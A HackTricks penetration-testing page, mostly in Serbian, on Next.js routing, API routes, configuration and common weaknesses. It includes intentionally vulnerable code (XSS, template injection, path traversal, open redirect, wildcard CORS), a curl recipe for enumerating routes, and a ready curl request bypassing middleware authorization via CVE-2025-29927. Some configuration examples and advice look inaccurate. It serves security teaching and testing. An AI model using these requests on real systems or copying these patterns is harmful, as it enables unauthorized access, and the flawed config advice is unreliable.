NextJS
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Opšta arhitektura Next.js aplikacije
Tipična struktura fajlova
Standardan Next.js projekat prati specifičnu strukturu fajlova i direktorijuma koja olakšava njegove funkcionalnosti poput routing-a, API endpoints i upravljanja statičkim asset-ima. Evo tipičnog rasporeda:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Osnovni direktorijumi i fajlovi
- public/: Smešta statične resurse kao što su slike, fontovi i drugi fajlovi. Fajlovi ovde su dostupni na root putanji (
/). - app/: Centralni direktorijum za stranice aplikacije, layout-e, komponente i API rute. Koristi App Router paradigmu, omogućavajući napredne routing funkcije i razdvajanje server-client komponenti.
- app/layout.tsx: Definiše root layout aplikacije, obavija sve stranice i obezbeđuje konzistentne UI elemente kao što su zaglavlja, podnožja i navigacione trake.
- app/page.tsx: Služi kao ulazna tačka za root rutu
/, renderuje početnu stranicu. - app/[route]/page.tsx: Rukuje statičkim i dinamičkim rutama. Svaka fascikla unutar
app/predstavlja segment rute, apage.tsxunutar tih fascikli odgovara komponenti rute. - app/api/: Sadrži API rute, omogućavajući kreiranje serverless funkcija koje obrađuju HTTP zahteve. Ove rute zamenjuju tradicionalni
pages/apidirektorijum. - app/components/: Sadrži ponovo upotrebljive React komponente koje se mogu koristiti na različitim stranicama i layout-ima.
- app/styles/: Sadrži globalne CSS fajlove i CSS Modules za stilizovanje ograničeno na komponente.
- app/utils/: Sadrži utilitarne funkcije, pomoćne module i drugu logiku koja nije vezana za UI i koja se može deliti kroz aplikaciju.
- .env.local: Čuva environment varijable specifične za lokalno razvojno okruženje. Ove varijable se ne dodaju u kontrolu verzija.
- next.config.js: Prilagođava ponašanje Next.js-a, uključujući webpack konfiguracije, environment varijable i sigurnosna podešavanja.
- tsconfig.json: Konfiguriše TypeScript podešavanja za projekat, omogućavajući proveru tipova i druge TypeScript funkcionalnosti.
- package.json: Upravlja zavisnostima projekta, scriptama i metapodacima.
- README.md: Pruža dokumentaciju i informacije o projektu, uključujući instrukcije za podešavanje, uputstva za korišćenje i druge relevantne detalje.
- yarn.lock / package-lock.json: Zaključava zavisnosti projekta na specifične verzije, obezbeđujući konzistentne instalacije u različitim okruženjima.
Klijentska strana u Next.js
Routing baziran na fajlovima u direktorijumu app
Direktorijum app je temelj routing-a u najnovijim Next.js verzijama. Koristi filesystem za definisanje ruta, čineći upravljanje rutama intuitivnim i skalabilnim.
Rukovanje root putanjom /
Struktura fajlova:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Ključne datoteke:
app/page.tsx: Rukuje zahtevima na korenskoj putanji/.app/layout.tsx: Definiše layout aplikacije, obuhvatajući sve stranice.
Implementacija:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Objašnjenje:
- Definicija rute: Fajl
page.tsxdirektno ispodappdirektorijuma odgovara ruti/. - Renderovanje: Ova komponenta prikazuje sadržaj za početnu stranicu.
- Integracija layout-a: Komponenta
HomePageje obuhvaćena od stranelayout.tsx, koji može da uključi zaglavlja, podnožja i druge uobičajene elemente.
Rukovanje drugim statičkim putanjama
Primer: ruta /about
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Objašnjenje:
- Definicija rute: Fajl
page.tsxunutar folderaaboutodgovara ruti/about. - Renderovanje: Ova komponenta prikazuje sadržaj za stranicu
/about.
Dinamičke rute
Dinamičke rute omogućavaju rukovanje putanjama sa promenljivim segmentima, omogućavajući aplikacijama da prikažu sadržaj na osnovu parametara kao što su ID-jevi, slugovi, itd.
Primer: ruta /posts/[id]
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Objašnjenje:
- Dynamic Segment:
[id]označava dinamički segment rute, koji hvataidparametar iz URL-a. - Accessing Parameters: Objekat
paramssadrži dinamičke parametre, dostupan unutar komponente. - Route Matching: Bilo koji put koji odgovara
/posts/*, poput/posts/1,/posts/abcitd., biće obrađen od strane ove komponente.
Ugnježdene rute
Next.js podržava ugnježdeno rutiranje, omogućavajući hijerarhijske strukture ruta koje prate raspored direktorijuma.
Primer: ruta /dashboard/settings/profile
Struktura fajlova:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Objašnjenje:
- Duboko ugnježđavanje: Fajl
page.tsxunutardashboard/settings/profile/odgovara ruti/dashboard/settings/profile. - Refleksija hijerarhije: Struktura direktorijuma odražava URL putanju, poboljšavajući održavanje i jasnoću.
Catch-All rute
Catch-all rute obrađuju više ugnježdenih segmenata ili nepoznatih putanja, pružajući fleksibilnost u rukovanju rutama.
Primer: /* ruta
Struktura fajlova:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacija:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Objašnjenje:
- Catch-All Segment:
[...slug]hvata sve preostale segmente puta kao niz. - Usage: Korisno za rukovanje scenarijima dinamičkog rutiranja kao što su putanje koje kreiraju korisnici, ugnježdene kategorije, itd.
- Route Matching: Putanje poput
/anything/here,/foo/bar/baz, itd. obrađuje ova komponenta.
Potencijalne ranjivosti na strani klijenta
Dok Next.js pruža sigurnu osnovu, nepravilne prakse kodiranja mogu uvesti ranjivosti. Ključne ranjivosti na strani klijenta uključuju:
Cross-Site Scripting (XSS)
XSS napadi se dešavaju kada se zlonamerni skriptovi ubace u pouzdane sajtove. Napadači mogu izvršavati skripte u pregledačima korisnika, kradući podatke ili izvršavajući radnje u ime korisnika.
Primer ranjivog koda:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Zašto je ranjivo: Korišćenje dangerouslySetInnerHTML sa nepouzdanim unosom omogućava napadačima da ubace maliciozne skripte.
Client-Side Template Injection
Dešava se kada se korisnički unosi nepravilno obrađuju u šablonima, što omogućava napadačima da ubace i izvrše šablone ili izraze.
Primer ranjivog koda:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Zašto je ranjivo: Ako template ili data sadrže maliciozni sadržaj, to može dovesti do izvršavanja neželjenog code.
Client Path Traversal
To je ranjivost koja omogućava napadačima da manipulišu client-side putanjama kako bi izvršili neželjene akcije, kao što je Cross-Site Request Forgery (CSRF). Za razliku od server-side path traversal, koji cilja datotečni sistem servera, CSPT se fokusira na eksploatisanje client-side mehanizama da preusmeri legitimne API zahteve na maliciozne endpoint-e.
Primer ranjivog Code:
A Next.js aplikacija omogućava korisnicima da otpreme i preuzmu fajlove. Funkcija preuzimanja je implementirana na client side, gde korisnici mogu navesti putanju fajla za preuzimanje.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scenarij napada
- Cilj napadača: Izvesti CSRF napad kako bi obrisao kritičan fajl (npr.
admin/config.json) manipulišućifilePath. - Iskorišćavanje CSPT:
- Zlonameran unos: Napadač kreira URL sa manipulisanim
filePathkao što je../deleteFile/config.json. - Rezultujući API poziv: Klijentski kod šalje zahtev na
/api/files/../deleteFile/config.json. - Postupanje servera: Ako server ne validira
filePath, obrađuje zahtev, potencijalno brišući ili otkrivajući osetljive fajlove.
- Izvođenje CSRF:
- Kreirani link: Napadač pošalje žrtvi link ili ugradi zlonamerni skript koji pokreće zahtev za preuzimanje sa manipulisanim
filePath. - Ishod: Žrtva nesvesno izvršava akciju, što dovodi do neautorizovanog pristupa ili brisanja fajlova.
Zašto je ranjivo
- Nedostatak validacije ulaza: Klijentska strana dozvoljava proizvoljne
filePathulaze, omogućavajući path traversal. - Verovanje ulazima sa klijenta: API na serverskoj strani veruje i obrađuje
filePathbez sanitizacije. - Potencijalne API akcije: Ako API endpoint izvršava akcije koje menjaju stanje (npr. delete, modify fajlova), može biti iskorišćen putem CSPT.
Recon: otkrivanje ruta statičkog export-a putem _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Koristite otkrivene putanje (na primer
/docs,/docs/content/examples,/signin) da pokrenete auth testing i endpoint discovery.
Server-Side u Next.js
Renderovanje na serveru (SSR)
Stranice se renderuju na serveru pri svakom zahtevu, što obezbeđuje da korisnik dobije potpuno renderovani HTML. U ovom slučaju treba da napravite sopstveni custom server za obradu zahteva.
Slučajevi upotrebe:
- Dinamički sadržaj koji se često menja.
- Optimizacija za SEO, pošto pretraživači mogu da indeksiraju potpuno renderovanu stranicu.
Implementacija:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Generisanje statičkih sajtova (SSG)
Stranice se unapred renderuju u vreme izgradnje, što rezultira bržim učitavanjem i smanjenim opterećenjem servera.
Slučajevi upotrebe:
- Sadržaj koji se ne menja često.
- Blogovi, dokumentacija, marketinške stranice.
Implementacija:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Serverless funkcije (API rute)
Next.js omogućava kreiranje API endpoint-a kao serverless funkcija. Ove funkcije se izvršavaju na zahtev bez potrebe za dedikovanog servera.
Upotrebe:
- Obrada slanja formi.
- Interakcija sa bazama podataka.
- Obrada podataka ili integracija sa API-ima trećih strana.
Implementacija:
Uvođenjem app direktorijuma u Next.js 13, rutiranje i rukovanje API-ima su postali fleksibilniji i moćniji. Ovaj moderan pristup se usko poklapa sa sistemom rutiranja zasnovanim na fajlovima, ali uvodi poboljšane mogućnosti, uključujući podršku za serverske i klijentske komponente.
Osnovni Route Handler
Struktura fajlova:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementacija:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Objašnjenje:
- Lokacija: API rute se nalaze u direktorijumu
app/api/. - Imenovanje fajlova: Svaki API endpoint se nalazi u sopstvenom folderu koji sadrži fajl
route.jsiliroute.ts. - Exportovane funkcije: Umesto jednog podrazumevanog export-a, eksportuju se funkcije za specifične HTTP metode (npr.
GET,POST). - Rukovanje odgovorima: Koristite konstruktor
Responseza vraćanje odgovora, što omogućava veću kontrolu nad zaglavljima i HTTP status kodovima.
Kako rukovati drugim putevima i metodama:
Rukovanje specifičnim HTTP metodama
Next.js 13+ omogućava definisanje handler-a za specifične HTTP metode u istom fajlu route.js ili route.ts, što doprinosi jasnijem i organizovanijem kodu.
Primer:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Objašnjenje:
- Multiple Exports: Svaka HTTP metoda (
GET,PUT,DELETE) ima svoju eksportovanu funkciju. - Parameters: Drugi argument omogućava pristup parametrima rute preko
params. - Enhanced Responses: Veća kontrola nad response objektima, omogućavajući precizno upravljanje headerima i status kodovima.
Catch-All i ugneždene rute
Next.js 13+ podržava napredne routing funkcije poput catch-all ruta i ugneždenih API ruta, što omogućava dinamičnije i skalabilnije API strukture.
Primer Catch-All rute:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Objašnjenje:
- Sintaksa:
[...]označava catch-all segment, koji hvata sve ugnježdene putanje. - Upotreba: Korisno za APIs koji treba da obrađuju različite dubine ruta ili dinamičke segmente.
Primer ugnježdenih ruta:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Objašnjenje:
- Duboko ugnježđivanje: Omogućava hijerarhijske API strukture koje odražavaju odnose između resursa.
- Pristup parametrima: Jednostavno pristupite višestrukim parametrima rute putem
paramsobjekta.
Rukovanje API rutama u Next.js 12 i ranijim verzijama
API rute u direktorijumu pages (Next.js 12 i ranije)
Pre nego što je Next.js 13 uveo direktorijum app i poboljšane mogućnosti rutiranja, API rute su se uglavnom definisale unutar direktorijuma pages. Ovakav pristup se i dalje široko koristi i podržan je u Next.js 12 i ranijim verzijama.
Osnovna API ruta
Struktura fajla:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementacija:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Objašnjenje:
- Lokacija: API rute se nalaze u direktorijumu
pages/api/. - Eksport: Koristite
export defaultza definisanje handler funkcije. - Potpis funkcije: Handler prima objekte
req(HTTP request) ires(HTTP response). - Rutiranje: Ime fajla (
hello.js) odgovara endpointu/api/hello.
Dinamičke API rute
Struktura fajla:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementacija:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Objašnjenje:
- Dinamički segmenti: Uglaste zagrade (
[id].js) označavaju dinamičke segmente rute. - Pristup parametrima: Koristite
req.query.idda pristupite dinamičkom parametru. - Rukovanje metodama: Koristite uslovnu logiku da rukujete različitim HTTP metodama (
GET,PUT,DELETE, itd.).
Rukovanje različitim HTTP metodama
Iako osnovni primer API rute obrađuje sve HTTP metode unutar jedne funkcije, možete strukturirati svoj kod tako da svaku metodu obrađuje eksplicitno radi bolje preglednosti i održivosti.
Primer:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Najbolje prakse:
- Razdvajanje odgovornosti: Jasno razdvojite logiku za različite HTTP metode.
- Konzistentnost odgovora: Obezbedite dosledne strukture odgovora radi lakšeg rukovanja na strani klijenta.
- Rukovanje greškama: Obradite nepodržane metode i neočekivane greške na prikladan način.
Konfiguracija CORS
Kontrolišite koja porekla mogu da pristupe vašim API rutama, smanjujući ranjivosti vezane za Cross-Origin Resource Sharing (CORS).
Primer loše konfiguracije:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Imajte na umu da se CORS može takođe konfigurisati za sve API rute unutar fajla middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Dozvoljava bilo kom sajtu da pristupi API-ju, što potencijalno omogućava zlonamernim sajtovima da komuniciraju sa vašim API-jem bez ograničenja.- Široka dozvola metoda: Dozvoljavanje svih metoda može omogućiti napadačima da izvrše neželjene akcije.
How attackers exploit it:
Napadači mogu kreirati zlonamerne sajtove koji šalju zahteve ka vašem API-ju, potencijalno zloupotrebljavajući funkcionalnosti kao što su preuzimanje podataka, manipulacija podacima ili pokretanje neželjenih radnji u ime autentifikovanih korisnika.
CORS - Misconfigurations & Bypass
Otkrivanje server koda na klijentskoj strani
Lako je koristiti kod koji se koristi na serveru i u kodu koji je izložen i koristi se na klijentskoj strani, najbolji način da se osigura da fajl koda nikada ne bude izložen na klijentskoj strani je by using this import at the beginning of the file:
import "server-only"
Ključne datoteke i njihove uloge
middleware.ts / middleware.js
Lokacija: U korenu projekta ili unutar src/.
Svrha: Izvršava kod u server-side serverless funkciji pre nego što se zahtev obradi, omogućavajući zadatke kao što su autentifikacija, preusmeravanja ili modifikacija odgovora.
Tok izvršavanja:
- Dolazni zahtev: middleware presreće zahtev.
- Obrada: Izvodi operacije zasnovane na zahtevu (npr. proverava autentifikaciju).
- Modifikacija odgovora: Može izmeniti odgovor ili predati kontrolu sledećem obrađivaču.
Primeri upotrebe:
- Preusmeravanje neautentifikovanih korisnika.
- Dodavanje prilagođenih HTTP zaglavlja.
- Logovanje zahteva.
Primer konfiguracije:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Ako se autorizacija sprovodi u middleware, pogođene Next.js verzije (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) mogu biti zaobiđene injektovanjem x-middleware-subrequest zaglavlja. Framework će preskočiti middleware rekursiju i vratiti zaštićenu stranicu.
- Osnovno ponašanje je obično 307 preusmeravanje na rutu za prijavu kao što je
/api/auth/signin. - Pošaljite dugu vrednost
x-middleware-subrequest(ponovitemiddlewareda biste dostigliMAX_RECURSION_DEPTH) da biste promenili odgovor na 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Pošto autentifikovane stranice učitavaju mnogo podresursa, dodajte zaglavlje u svaki zahtev (npr., Burp Match/Replace with an empty match string) kako biste sprečili da se resursi preusmeravaju.
next.config.js
Location: Root of the project.
Purpose: Konfiguriše ponašanje Next.js-a, omogućavajući ili onemogućavajući funkcije, prilagođavajući webpack konfiguracije, postavljajući promenljive okruženja, i konfigurišući nekoliko sigurnosnih opcija.
Key Security Configurations:
Sigurnosna zaglavlja
Sigurnosna zaglavlja poboljšavaju bezbednost vaše aplikacije tako što nalažu pregledačima kako da postupaju sa sadržajem. Pomažu u ublažavanju različitih napada kao što su Cross-Site Scripting (XSS), Clickjacking i MIME type sniffing:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Primeri:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Podešavanja optimizacije slika
Next.js optimizuje slike radi performansi, ali pogrešna podešavanja mogu dovesti do bezbednosnih ranjivosti, na primer omogućavanjem nepouzdanim izvorima da ubace zlonamerni sadržaj.
Loš primer konfiguracije:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Dozvoljava učitavanje slika sa bilo kog eksternog izvora, uključujući nepouzdane ili zlonamerne domene. Napadači mogu hostovati slike koje sadrže zlonamerne payloads ili sadržaj koji obmanjuje korisnike.- Još jedan problem može biti dozvoljavanje domena na kojem svako može da otpremi sliku (kao
raw.githubusercontent.com)
How attackers abuse it:
By injecting images from malicious sources, attackers can perform phishing attacks, display misleading information, or exploit vulnerabilities in image rendering libraries.
Izlaganje promenljivih okruženja
Upravljajte osetljivim informacijama poput API keys i database credentials na siguran način, bez izlaganja klijentu.
a. Otkrivanje osetljivih varijabli
Loš primer konfiguracije:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problem:
SECRET_API_KEY: Bez prefiksaNEXT_PUBLIC_, Next.js ne izlaže promenljive klijentu. Međutim, ako je greškom prefiksovan (npr.NEXT_PUBLIC_SECRET_API_KEY), postaje dostupan na strani klijenta.
How attackers abuse it:
Ako su osetljive promenljive izložene klijentu, napadači ih mogu pribaviti pregledom koda na strani klijenta ili mrežnih zahteva, dobijajući neovlašćen pristup API-ima, bazama podataka ili drugim servisima.
Preusmeravanja
Upravljajte URL preusmerenjima i prepisivanjima unutar vaše aplikacije, osiguravajući da su korisnici pravilno usmereni bez uvođenja open redirect vulnerabilities.
a. Open Redirect Vulnerability
Primer loše konfiguracije:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dinamička destinacija: Dozvoljava korisnicima da odrede bilo koji URL, što omogućava open redirect napade.
- Poverenje u korisničke unose: Preusmeravanja na URL-ove koje unesu korisnici bez validacije mogu dovesti do phishing, malware distribution, ili credential theft.
Kako napadači to zloupotrebljavaju:
Napadači mogu kreirati URL-ove koji izgledaju kao da potiču sa vašeg domena, ali preusmeravaju korisnike na zlonamerne sajtove. Na primer:
https://yourdomain.com/redirect?url=https://malicious-site.com
Korisnici koji veruju originalnoj domeni mogu nenamerno biti preusmereni na štetne sajtove.
Webpack Configuration
Prilagođavanje Webpack konfiguracija za vašu Next.js aplikaciju može nenamerno uvesti sigurnosne ranjivosti ako se ne postupa oprezno.
a. Izlaganje osetljivih modula
Loš primer konfiguracije:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Otkrivanje osetljivih putanja: Kreiranje aliasa za osetljive direktorijume i omogućavanje pristupa sa klijentske strane može leak poverljive informacije.
- Bundling Secrets: Ako su osetljive datoteke uključene u bundle za klijenta, njihov sadržaj postaje dostupan kroz source maps ili inspekcijom client-side koda.
How attackers abuse it:
Napadači mogu pristupiti ili rekonstruisati strukturu direktorijuma aplikacije, potencijalno pronalazeći i zloupotrebljavajući osetljive fajlove ili podatke.
pages/_app.js and pages/_document.js
pages/_app.js
Svrha: Zamenjuje podrazumevanu App komponentu, omogućavajući globalno stanje, stilove i layout komponente.
Primeri upotrebe:
- Dodavanje globalnog CSS-a.
- Dodavanje layout wrappera.
- Integracija biblioteka za upravljanje stanjem.
Primer:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Svrha: Zamenjuje podrazumevani Document, omogućavajući prilagođavanje <html> i <body> tagova.
Slučajevi upotrebe:
- Izmena
<html>ili<body>tagova. - Dodavanje meta tagova ili prilagođenih skripti.
- Integracija fontova trećih strana.
Primer:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Prilagođeni server (neobavezno)
Svrha: Iako Next.js dolazi sa ugrađenim serverom, možete napraviti prilagođeni server za napredne slučajeve upotrebe kao što su prilagođeno rutiranje ili integracija sa postojećim backend servisima.
Napomena: Korišćenje prilagođenog servera može ograničiti opcije deploy-a, posebno na platformama kao što je Vercel koje su optimizovane za ugrađeni Next.js server.
Primer:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})
Dodatna arhitektonska i sigurnosna razmatranja
Promenljive okruženja i konfiguracija
Svrha: Upravljanje osetljivim informacijama i podešavanjima konfiguracije van izvornog koda.
Najbolje prakse:
- Koristite
.envfajlove: Čuvajte promenljive kao API ključeve u.env.local(izuzeto iz kontrole verzija). - Pristupajte promenljivim sigurno: Koristite
process.env.VARIABLE_NAMEza pristup promenljivim okruženja. - Nikada ne izlažite tajne na klijentu: Osigurajte da se osetljive promenljive koriste samo na serverskoj strani.
Primer:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Napomena: Da biste ograničili promenljive samo na strani servera, izostavite ih iz env objekta ili ih prefiksirajte sa NEXT_PUBLIC_ za izlaganje klijentu.
Korisni server artefakti za ciljanje preko LFI/download endpoints
